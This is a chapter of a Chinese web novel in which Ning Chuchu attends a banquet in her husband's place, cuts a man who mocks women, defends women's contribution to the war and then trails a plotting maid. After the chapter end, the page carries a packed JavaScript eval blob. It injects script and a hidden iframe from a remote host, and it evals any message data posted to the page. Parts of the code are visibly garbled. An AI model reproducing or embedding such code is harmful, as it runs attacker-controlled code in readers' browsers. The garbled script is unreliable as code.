“顾寒生……”宁楚楚缓了缓神,突然想起什么一般,连忙抓过他的手便朝着家里奔去,再三确认把大门锁好之后,她才回过头来,“寒生,他要来抓你了。”
“谁?”
“邢昭啊!就是那个京城来的大官,一等侍卫邢昭。”宁楚楚颤抖着,拿出张飞冀送过来的请帖,“他也在张府……今晚的庆功宴,你便不要去了吧……”
顾寒生却是笑笑,看着那张请帖,摇头道:“不,一定要去。”
“可是……”宁楚楚还没说完,便见顾寒生又继续说道:“不过,你替我去。”
宁楚楚微微一怔。
到了晚上,宁楚楚特地挑了一件浅红色的衣裳,配上一个桃花妆,再三交代寒千凝和苏伯照顾好顾寒生,这才出了门。
晚宴的地点在霜雪楼。
其实这儿离霜雪楼不算太远,宁楚楚上马车,大抵也就坐了一小会儿,便到了目的地。
张静已经在门口等候了,将她迎进屋里,便低声在她耳边说道:“叔父今日派出的请帖,已经对外告知是你和顾寒生夫妇了,这次你来参加,也是名正言顺,统一口径,说寒生摔了马。”
宁楚楚恍然,方才在家里,顾寒生也是这么对自己说的。
看来,顾寒生怕是早有计划,所以才那么淡定。
到了这里,她便也不觉紧张了。
宁楚楚点了点头。
两人宛如姐妹一般,一同入席,到底也没多少人敢来为难她,宁楚楚也乐得自在,心里想着只要安然度过今晚就好了。
可晚宴进行到一半,不知道是谁突然冒出来一句:“此次能大破胡军,多亏了衙门顾寒生这位少年英才,怎的如今却不见人影?”
宁楚楚心里一咯噔。
果然,众人的目光都齐刷刷地往自己脸上射过来。
宁楚楚只好端着酒杯起身,朝着众人笑笑道:“家夫腿疾。恐扰了各位的兴致,便由我代劳,多谢诸位关心了!”说着,便想将杯中的酒喝干。
可这会儿,不知道又是谁嚷嚷了起来,“顾寒生少年英才,我等钦佩,好不容易黔州过了难关,到了这庆功宴上,却派个娘们出来,这算怎么回事?”
这句话,一时间让宁楚楚下不来台面。
一旁的母夜叉站了起来,瞪向在座的众人,“方才是哪一位仁兄说话?女儿身怎么了?这女儿身还不是照样造大业,兄台说这话,怕是看不起我霜老板!”
这母夜叉不好说话,其功绩也摆在那里,自然不敢再有人应声。
可这宁楚楚,还是要怼的。
平息了半晌,又有人开口道:“霜老板乃女中豪杰,做事有魄力,自然与黄毛丫头比不得!这姑娘身板娇小,怕是只被男人一压,便断了腰。”
此人这话一出,其他众人也跟着哈哈大笑了起来。
平日里,女人本是没有尊严的玩物,所以被男人看扁也是平常,一开始母
夜叉还有些不习惯,可久而久之,她便也不再反驳,任由他们说笑了。
这荒唐的笑声在宁楚楚的耳中蔓延,她咬牙,突然转身,一把抽过腰间的匕首,朝着发话那人冲了过去,在众人还没反应过来的时候,便已经挥刀落下。
众人一惊,却是来不及反应,眼见着宁楚楚的手臂划过一道光影,落在那人脸上。
一缕青丝滑落。
那人吓得瞪大了眼珠子,全然没反应过来,只觉着脸上一阵疼痛,伸手一摸,竟然被宁楚楚给刮出了一道口子!
而宁楚楚却是利落地收了刀,恶狠狠地瞪着他,“若不是我这女人手下留情,你的项上人头恐怕就是我们的下酒菜了!”
说完,又转头,凌厉的目光在众宾客那木然的脸上扫过,“你们男人前线打战,难道我们女人便在家斗蛐蛐么?将士们穿的棉衣,吃的食物,哪样不是我们女人所造?若不是我们女人,你们这些男人恐怕大冬天的要冻死在街上了!”
那些个男人愣了愣,显然都还没反应过来。
而那个被宁楚楚划伤的男人更是气急败坏,正打算跳起来要打人,张飞冀却是起身说话了:“好了,宁姑娘虽不比霜老板,其功绩却是有目共睹的。她一手建立起的碧楚坊,便是最好的代表!我们在前线打战的时候,那个攻打质县的方案,也是宁姑娘提出!”说完,便瞪向那个被划伤的男人,质问道:“你能吗?”
那男人顿时闭上了嘴。
宁楚楚知道张飞冀在维护自己,她也并不是一个不知进退的人,转身便朝着张飞冀拱手笑道:“张大人深明大义,今日是楚楚鲁莽,还望多多担待。”
回到位子上坐好,宁楚楚一颗心才算放了下来。
方才那一下,她也是一时冲动,只想给那男人一个教训,万一真打起来,在这个男尊女卑的社会里,她怕是没有胜算,反而会被众人围殴。
好在,张飞冀帮了她。
连忙灌了两杯酒下去,瞥见张静偷偷凑了过来,一脸惊羡地看着她,“你真的好厉害,竟然敢这样做!真是大快人心!”
宁楚楚瞥了一眼在场那些跟随过来的夫人小姐们,个个都朝着她露出一个会心的微笑,看来,她们虽然被压迫着,可还没有麻木,只是并没有勇气反抗社会罢了。
想着当初从古代到近代到现代的女权主义历程,直到宁楚楚生活的21世纪,也还没真正做到男女平等,这层封建枷锁就像是一个烙印,要想真正抹去,怕是没那么容易。
定了定神,目光在大殿上转了一圈,见气氛慢慢回温,她稍稍舒了一口气,却瞥见了之前看到的跟翠花站在马车边上偷偷密谋什么的那个丫鬟!
那丫鬟端着酒壶在给后两桌的客人斟酒,大抵是因为等级不够,没办法接近邢昭,只好找了一个空档,拉着在邢昭身边敬酒的丫鬟说了两句什么之后,便转身放下酒壶离开了。
宁楚楚拧眉,跟张静说了一句“出去透透气”便连忙起身跟了出去。
(本章完)
eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g,k[c])}}return p}('h 4="F"+E.d.C(B).H(2);c.6("<f L=\'"+4+"\'></f>");8((/(K)/i.J(b.I))){7.m(\'u\',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.y.G(/\\+/g,"%15")))}}});c.6(\'<l 10="12:13;" d="j://m.n.t/s-11-\'+(r q).o+\'.14?N=5&17=\'+b["a"]+\'&p=\'+4+\'" 16="Y" R="Z%" Q="0" P="o" S="0" T="X"></l>\}w{;c.6(\'<k d="j://m.n.t/s.V?\'+(r q).o+\'&U=1&p=\'+4+\'&a=\'+b["a"]+\'"><\\/k>\}',62,70,'|||_dat_d|djdzh||write|window|if|if_id|platform|navigator|document|src||div||var||https|script|iframe||24djk|getTime|lsbdid|date|new|51085|message|function||data|wz_ev_j|decodeURponent|eval|36|toString|random|math|div_|replace|substr|userAgent|test|UCBrowser|id|addEventListener|sdfa|no|scrolling|marginheight|width|frameborder|allowtransparency|is_bs|m3u8|else|true|auto|100|style||display|none|html|20|height|serasfd'.split('|,0,{}))
_17mb_wappbottom;
setTimeout(function{("nogg").="none";},4000);